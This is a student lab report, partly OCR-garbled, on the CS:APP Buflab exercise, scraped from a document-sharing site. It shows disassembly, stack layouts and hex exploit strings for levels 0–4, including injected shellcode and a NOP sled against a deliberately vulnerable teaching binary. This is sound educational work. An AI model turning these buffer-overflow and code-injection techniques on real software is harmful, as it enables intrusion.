




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、HUNAN UNIVERSITY课程实验报告题 目:Buflab-han dout学生姓名学生学号专业班级 计科1403(一) 实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二 )实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb, hex2raw,makecookie。bufbomb运行时会进入 getbuf函数,其中通过调用 Gets函数读取字符 串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#defi
2、ne NORMAL_BUFFER_SIZE 32int getbuf()char bufNORMAL_BUFFER_SIZE;Gets(buf);return 1;这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31 (字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。Makecookie 是产生一个 userid。输入的相应的用户名产生相应的 cookie值。 *我产生的cookie值为0x5eb52e1c,如下图所示:xbubuntu:/LAB5/b
3、ufLab-handout$ ,/nakecookie 201408&10321 9x5eb52el匚LevelO:实验要求: 从英文的 PDF文件中的"Your task is to get BUFBOMto execute the code for smoke whe n getbuf executes its retur n stateme nt,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrela
4、ted to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test()int val;/ Put canary on stack to detect possible corrupti onvolatile int local = uniq ueval();val = getbuf();/
5、 Check for corrupted stackif (local != uniq ueval() prin tf("Sabotaged!: the stack has bee n corruptedn");else if (val = cookie) printf("Boom!: getbuf returned Ox%xn", val);validate(3); else printf("Dud: getbuf returned Ox%xn", val);smoke源码: void smoke()printf("Smo
6、ke!: You called smoke()n"); validate(0);exit(0);对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:08049262<qetbur>:8049262:55push%ebpS049Z03:89e5nov%espBS492A5:asec35sub$0)c3fl,%espBB4926818d4SdBlea0x28(%ebp)304926b:旳9424novifteaxXftespS04Q26e!bffp ff ffcallS048C523049273:b$91OO OO 00PKJV$0*13049778:c9lea
7、ve0049279;retB049273:?enop804927b:99nop8S49Z7C:90nopBB4927d:93nop804927c:90nop3049290nop从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp)传给了Gets()。画出栈结构为(为绘制图简单,我们将相应的地址直接写在栈内部,如ebp-4写在方框):易知(ebp -28)距离getbuf函数的返回地址之间有 44个字节,我们只需要在将 getbuf 返回地址的字修改为 smoke函数的入口地址, 这样我们就可以在执行完 getbuf函数之后执行smoke函数。我们通过反汇编得到 s
8、moke函数的入口地址为 0x08048e0a:0BO4ae3a'isnoke:5Spush%ebpB84Seeb:895ncv8Q4SeOd:前ec18subC7442404feN2novi$0xEO4a2Tef 0x4( Sites p)8B4&el7:ea804SelS:CtB4Z4st6003riovl$oxl,(%esp)B048elf:fbffcall804S999 < prtntf8B4ae?4:c704?46B90GOnoviS0x6 j (畑节pB&4»e2b:850飙eoeecall8049299 <validate>3C
9、4a&30:<704E斗00eoDO00nevi$OxOt(«esp)8048637:es94faftffcall804E8dd我们构造文件a.txt,里面存放数据为(本人电脑为小端机,这里需要的也是小端)31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33Ob 8e 04 08之所以将0x08048e0a改成8e04080b,是因为0a对应的是换行符,会使该字符无法
10、读 入而结束Gets函数。运行结果为(输入命令为./hex2raw <a.txt | ./bufbomb -u 201408010321):Jserid* 2G140S01G321Cookie: Ox5eb52elcType string:Smoke>: You 匚ailed smoke() VALIDNICE JOBiLevel1题意:从英文 PDF文件中我们可以理解到,这关的目的是进入fizz函数,并通过makecookie 计算出 userid 的 cookie 值,本人产生的cookie 为 0x5eb52e1c。FIZZ源码如下:void fizz(i nt val)if
11、 (val = cookie) printf("Fizz!: You called fizz(0x%x)n", val); validate。); elseprin tf("Misfire: You called fizz(0x%x)n", val); exit(0);解答:反汇编得到fizz函数的入口地址为 0x08048daf :Bi(gdb) disas fizzDunp Qf sssenbler codeTor function fzz;0xO8948daf<+0>:push%ebp<+l>:nov%esp j%ebp0X
12、O8948db2sub50x16,%esp0xO8948db5novOxfitXebpKXeax0X68948db8<+9>:cmpOx804dlO4JMeax0xO8048dbe<+15>:jne0x8048de6 <fizz+55>0xO8O48dcO<+17>:nov%eax,0x8(%esp)0X08948dc4<+21>:movl$0x804a2e9,0x4(%esp)0xQ8048dcc<+29:movl$6x1,(%esp)0X08O48dd3<+36>:call9x8043990 <_print
13、f_chk®plt>0X08948ddS<+41>:movlSexiCMsp)0xS8048ddf<+48>:call0x8G492S0 validate;*0x68648de4<+53>:jEp0x8Q48dfe <fizz+79>Gx00948de6<+5S>:moveaXjSxSCesp)0x08O48dea<+59>:novi$Ox804a4d4j0x4(%esp)0xe8e43df2<+&7>:movl$0x1,(%esp)Gx08048df9<+74>:call0
14、x8048990 <_printf_chkplt>Gx08948dfe<+79>:novi$0x0 j(%esp)0xO8048eO5<+86>:call0x80488dOEnd of assembler dump.由fizz的汇编代码可得,push%ebp之后,esp与ebp旨向同一个位置,而此时用ebp+8表示 输入的参数。而我们由上面fizz函数的代码可得,要使cookie值等于参数值。在调用fizz函数后, 开辟一个新的栈,此时参数位置距离fizz函数首地址还有一个空,需要用00 00 00 00来覆盖(覆盖 数据随便,只要不影响程序运行就可以),将
15、cookie值付给参数。除了要将这个值用相同 的方式输入到getbuf函数中返回地址处外,还应将cookie值0x1005b2b7输入到 在fizz函数中fizz函数返回地址的上一个4字节处即第一个参数处。getbuf函数输入时 fizz函数的地址值和 cookie值是不变的,(不 能输入 0a),共需 要输入 56( 0x28+0x4+0x4+0x4+0x4个字节,其中前44个可以 任意输入.getbuf返回地址处输入应为0x08048daf (小端法:af8d 04 08)fizz返回地址处可以随意,故输入00 00 00 00 第1个参数处为cookie值0x4169155f (小端法5
16、f 15 69 41 与levelO类似,不过fizz需要传入一个参数。我们可以画出栈的结构图:参数valfizz的返回地址getbuf返回地址ebp的值ebp - 4ebp - 8ebp - cebp - 28ebp-38我们构造b.txt文件:31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33af 8d 04 0800 00 00 001c 2e b5 5e其中 0x5eb52e1c
17、为 id201408010321 对应的 cookie 的值。运行结果为:qcb$ubuntu!"/LAB5/buFlab-handout$ ./hex2raw txt | ,/bufbonb -u 2&140SO1O321 sertd: zai49EBL03ZiCookie: DxSebSZelcType strIng:Ftjz!: Yau called rtzexseb52&ic)VLIPNTCF JOBJLevel2:题意:令getbuf调用后不执行test函数,而是执行 bang函数(默认会执行test函数),但是 同时我们要修改 global_value 的
18、值为cookie值。然而,global_value 是一个全局变量, 它没有储存再栈里面。所以在程序执行过程中,只能通过赋值语句来改变global_value的值。即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。bang函数的源码为:int global_value = 0;void ban g(i nt val)if (global_value = cookie) printf("Bang!: You set global_value to 0x%xn", global_value); validate(2);elseprin tf("M
19、isfire: global_value = 0x%x n", global_value); exit(0);解答:首先我们反汇编bang函数:从中我们可以得知 value存放在0x804d10c,而cookie存放在0x804d104 处。 写出代码:movl $0x5eb52e1c,%eaxmovl %eax,0x804d10c pushl $0x08048d52 ret将cookie值存入eax寄存器/将eax中的(cookie )值存入 global_value 的地址/将bang作为返回地址压栈/通过ret调用改变eip转到bang函数中(gdb) dtsas bangDu
20、mp of assembler codeTor function bang:“4:push畑bpOxO8«48d53nov%esp,%ebp6x08«48d55subSOxlQesp0xQBG48d58nov0x804dl0c0x&864fid5d<+ll>:cmpGx8O4dl0l %eax0x08e48d&3<+17>:jneBx8D48d8b <bang+57><+19>:novoxeee斗宕他<423>:novil0x4(%£p)0X08446d71<431>:novi
21、$0x1, (itesp)0x0864ed78<+38>:call0x8O4899fl <_prtntf_chkplt>0x&8048d7d<+45>:novi$0x2 r(%esp)0xQ864fld84<+50>:call0x8049280 cvalidatP?0x&0e40d09<+55>:jmpQx8048da3 <bang+61>0x08646d8b<+57>!novXeaxf0xS%esp)0xeee4ed8f<+61>:novi$Gx»04a2c2,Ox4(%
22、csp)9X68648(197<+69>:novi$0X1, (Itesp)0x&804fid9e<+76>:call0x8048990 <_prtntf_chk0plt>ax08O4fidd3<+81>:novi50x0 * (seesp)<+8fi>:callRxsn4RRdn -cPXitplEnd of_assenbier dunp.我们使用objdump将上面代码转化成二进制。用objdump将.S (汇编)文件转化为.0(二进制)文件,然后显示出来。xb<9ubuntu:/LAB5/bufas x.s -o
23、x.o xblubuntu:/LAB5/buflab -handout$ objdump -d x.ox.o:file format elf32-i386Dtsassenbly of section .text:00000000 <.text>:0:b8 1匚 2e b5 5emov$0x5eb52elc,%eax5;a3 0c dl 04 08RQV%eax,OxS04dl9cat68 S2 8d 64 63push$6x8048d52f :C3ret我们可以构造栈结构图:将getbuf的返回地址改成 buf的首地址运行,这样当在 getbuf中调用ret返回时程序 会跳转到bu
24、f处上面的构造的恶意函数(指令),再通过恶意函数中的 ret指令跳转原栈中ba ng的入口地址,再进入 ba ng函数中执行。我们得到buf的首地址为0x55683968xbubuntu:-/LABS/buflob-handout$ gTb q bufbonbReading £yl*lb&ls frort bufbflrtb. . . (fia debugging iyfnbolt found) . . *dane. (gdb) break getbufBreakpoint 1 at 9x809268(gdb) r u 7014OBO1B3215tartinq proqran
25、: /hone/Kb/LABSbuflab-hcndout/bufbonb201408013321Userid: 2eiasei932iCookie: Oxeh52?lrBreakpoint 1t 0x98649269 in getbuf ()(gdb) p/x (Sebp - 0x28)51 = 0X556B39G6构造文件3.txt:b8 1c 2e b5 5ea3 0c di 04 0868 52 8d 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0068 39
26、 68 55运行结果为:xbuburt'u:/LAB5/buflaL -hdndout.5a神| /bufbunb -li 20140S010321Sertd: 231408filOi21Cookte: ex5et)52elcTjpe strtng: Rang': you set global_vdlue to exSebseicVALIDNICE JODILevel3:题意:这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自 己的 cookie。
27、解答:采用类似level2中的解法,利用恶意代码去修改变量val的值。然后改变程序的执行情况。反汇编得到指向test中的getbuf调用后一条指令804Se48:S945f4PIOVXeax.-Gxc(%ebp)8S48e4b:eS12EM00G&call3619262 <getbuf>8D4Be50:Q9c3novedxebx8d48e52:8Clfdffffcall8B4BC1B cuntqi*eval>我们填写汇编代码:movl $0x5eb52e1c,%eaxpushl $0x08048e50ret/返回cookie值/返回地址指向test中的getbuf调用
28、后一条指令/返回test继续执行反汇编上述代码:file format &Lf32-IS86Disassembly of 呂e匚tion *text:0060O0&Q <±texts-:$0x5eb52e1匚,%eax$Gx8948e500: b8 lc 2e b5 Senov5:68 50 95 04 08push:c3retxbubuntu:*/LAB5/buflab*hdndout$ Iebp寄存器的值,通过 gdb得到保存由于我们在覆盖getbuf返回地址时会覆盖保存的 的ebp寄存器指向的值并结合上一题的解题思路:(gdt>) b getbufB
29、reakpoint 1 at 6x6649266(gdb) r u 261406810321starting prog ram: yhopne/xb/LABb/buflab-handout/butbonb - 291498018221 USertd: 2014OB01O321cookie: ox5eb52eicBreakpoint 1t 0kG864S2in qetbuf ()(gdb) p/x ($ebp)SI = 9xS568i990(ffdb) p/x *(int*)($ebp>$2 =构造文件4.txt :b8 1c 2e b5 5e68 50 8e 04 08c300 00 0
30、0 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00C0 39 68 5568 39 68 55运行结果为:ubuntu:-/LABj/buflab-hondout$ */hex2raw <4 * txt | </bufbomb u 2O14O3&10S2L Userid: 261409018121Cookie; 0xSeb52elcTj/pe string:boor! : getbuf returred Ox5eb52elcVALIDNICE JOB!Level4:题意:
31、最后一关的要求和上一关一致,不过需要加上 -n参数运行bufbomb,此时会进入testn 和getbufn函数而不是test和getbuf函数。这个函数与getbuf所不同的是,分配了 512字节的字符数组,而调用 getbufn的函数 会在栈中随机分配一段存储区,这导致 getbufn使用的栈基址 EBP随机变化。此外, 在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的 cookie。Level4的其他要求与Level3相同,但它要求提供同一个恶意代码,在getbufn被调用5次后,最终仍返回到testn函数中,且不能破坏test
32、n的堆栈状态,并使返回值为cookie。 由于栈上的机器代码是按地址由低向高顺序执行,要保证五次运行都能顺利执行有效机器代码,需要满足:跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。这要求尽可能增大 nop填充区,尽可能使有效机器代码段往后挪。反汇编 getbuf 和 getbufn:Dump of ass&nbler code for functtan getbuf16XO804925Z +0:push0X080492636x08049255 <+3>ub6X08049268:lea6x0804926b:mov(%esp)0x08&4926ecall
33、0x308c32 Gets>0X08949273m&v6X08949278 <+22>:leave6X08049279 <+23>:retEnd of assembler dump.LU_1 !L>_i f(gdb) dtsas qett>ufnDump of assembler codefor function getbufn:0X3SO49244push%ebp9X08049245mov9x08049247 导A:sub$0x218,%esp0X08O4924d <*9>:lea-&x208(%ebp)jKeax0X08
34、&49253 <15>:%eax,(%esp)0x08049256call0X8G48C32 <GetS>0x0804925b <+23>:FIOV$6x1,%eax0x08049260 <4-2S>:leave0x08049261 <29>:retEnd ofasseribler dump.发现在调用 getbuf时,ebp的内容比esp内容大0x28,而在getbufn 中大0x218。由于,我们这里要调用五次getbufn,所以我们要让前四次getbufn调用完后,继续调用 getbufn 。反汇编testn函数(get
35、bufn调用前):Dump uf assentter cede cor function testn:0KOS048cce <c4-0>:9KO8048ccf <+l>:push nov%ebp %espt%ebpOK08C48cdl "3a:pushWebx<+1>:sub$6x21 esp<+Z>:“ll<uniqueval>0x08048cda +12>:novWeaxt-0xc(%ebp)0xOflG4acdd:call0x8049244 egetbufn>oxuee48ce2nov%eax.垢EbxOx
36、08O48ce4 -+2.2:call0?<8O48clS <uni.quevalj-OxOfi04Bce9 <+2?:nov-6xc(%ebp) .SGedx匚亡匚 <+30>:CFipsedxeaxOKOe043cee <+32>:尤QxB”8d卿 testn* 56>0x0fifi48cf6novi$6xR04a469iex4CEp)OXOflO40CfB <+4Z>:novi$oxif(«esp)0x08048cff <+49>:call0x0048990 <_prtntf chkplt>jw
37、pOxe04Sd4c <testni-126>oxoae48doo <+5&>:trip0>&04dlfl4t5&ebx0KO604Bd6c 弋4忌2a:jne0x8O8d34 <testn+1020K0S04Rrf0e <+64-:nov9iebx ” 0xH(Kesp )OKOS048dl2novi$GXS04645Cp0X4(?&eSp)QK08643lJld <+76>:noviSSxl, (9fesp)OxOBfi4af1?1callfl>Ra4B990 <_prtntf_chk0plt
38、>Type <return to continue.or q <return> to quit|调用完getbufn后返回到0x08048ce2所以,可以通过下面的恶意代码完成上述工作:lea 0x28(%esp),%ebp/ 恢复 ebp 寄存器内容movl $0x5eb52e1c,%eax / 返回 cookie 值pushl $0x8048ce2/返回地址指向testn中的getbufn调用后一条指令ret/返回testn继续执行现在恶意代码已经构造完毕了,就只要再找到buf首地址就可以了。(这个函数中 buf首地址不固定)由于getbufn函数栈的EBP不固定,
39、每一次buf都不相同,我们先进行采样,观察其 变化规律。(gdb) b getbufnBreakpoint 1 at 6x804924d(gdb) -u 201408016321Starting program: /home/xb/LAB5/bjflab handout/bufbonb -u 201408016321 Usertd: 201408010321Cookie r 0x5eb52elcT萝pE百(gdb) b getbufnBreakpoint 1 at 0x804924d(gdb) r -n u 201408010321Starting program: /hore/xb/LAB5
40、/buflab-handout/bufbomb -n -u 201468610321 Userid: 201408010321Cookie: 0x5eb52elcBreakpoint 1, ex08O4924d tn getbufn ()(gdb) p/x ($ebp 6x268)$1 = 0x55683788(gdb) CContinuing.Type string:SBDud; getbufn “tuned 0x1Better luck next tineBreakpoint 1, Ox0804924d tn getbufn () (gdb) p/x ($ebp - 0x208)$2 =
41、6x55683758(gdb) cContinuingType strtng:SB Dud: getbufn returned oxi Better luck next timeBreakpoint 1, 0x0804924d in getbufn () (gdb) p/x ($ebp 0x208)$3 = 0x556837d8(gdb) CContinuing.Type strIng:5B Dud: getbufn returned 0x1 Better luck next timeBreakpoint 1, 0xO804924d tn getbufn () (gdb) p/x ($ebp
42、0x208)$4 = 0X55683748(gdb) cContinuingType strtng:SBDud: getbufn returned 0x1 Better luck next timeBreakpoint 1, 0x0804924d in getbufn () (gdb) p/x ($ebp 0x208)$5 = 0x556837b8(gdb) CContinuing.Type strtng:SBDud: getbufn returned OxiBetter luck next timeInferior 1 (process 4213) exited normally (gdb)
43、 p/x ($ebp 0x208)No registers.xDguDuntu:-/LAB3/DurLac-nanoouT as z.s -o z.o xbubuntu:-/LABS/buflab-handout$ objdunp -d z.&file format elf32-1386Disassembly of section .text:00000090 text*:0:8d2428lea0x28(%esp)ebp4:b8lc2ebS Semov$0xSebS2elc9:e28c04 08push$0xa048ce2e:C3ret五次取样之后的数据分别为0x55683788、0x
44、55683758、0x556837d8、0x55683748、0x556837b8。发现之后不管怎么运行都是这5个数据。考虑将最高的buf地址0x556837d8作为跳转地址,将有效机器代码置于跳转地址之前,并将其它所有字符都用作nop指令,此时所有五个 buf地址的写入都能满足跳转到地址0x556837d8后顺利到达有效机器代码。构造文件5.txt:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90
45、 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 9
46、0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 9
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 纱线生产过程中的设备维护与管理考核试卷
- 躺式旅行悠闲享受度假时光考核试卷
- 轻质高强泡沫塑料的研究与发展考核试卷
- 航天器空间碎片监测与预警系统考核试卷
- 通风电器具物联网技术应用考核试卷
- 蔬菜加工企业品牌国际化战略考核试卷
- 管道工程法律法规政策学习、运用与实施考核试卷
- 玻璃保温容器耐压性能研究考核试卷
- 甲状腺患者的护理
- 智能停车项目投资建设与回报协议
- 2025年小升初语文第一次全真模拟试卷(1)(统编版+含答案解析)
- 06竣工财务决算审计工作底稿(试行)
- 工伤保险医疗费用智能审核系统建设
- 农作物品种(玉米)区域试验技术规程
- 2022年江苏省卫生系统事业单位招聘考试(护理学)参考题库汇总(含答案)
- 造林工程模式典型设计图文版
- WST 661-2020静脉血液标本采集
- 乙型肝炎病毒表面抗原诊断试剂盒(酶联免疫法)说明书
- 资料员岗位知识与专业技能ppt课件
- 校本教材毽球
- ASYMTEK S2900 快速操作手册
评论
0/150
提交评论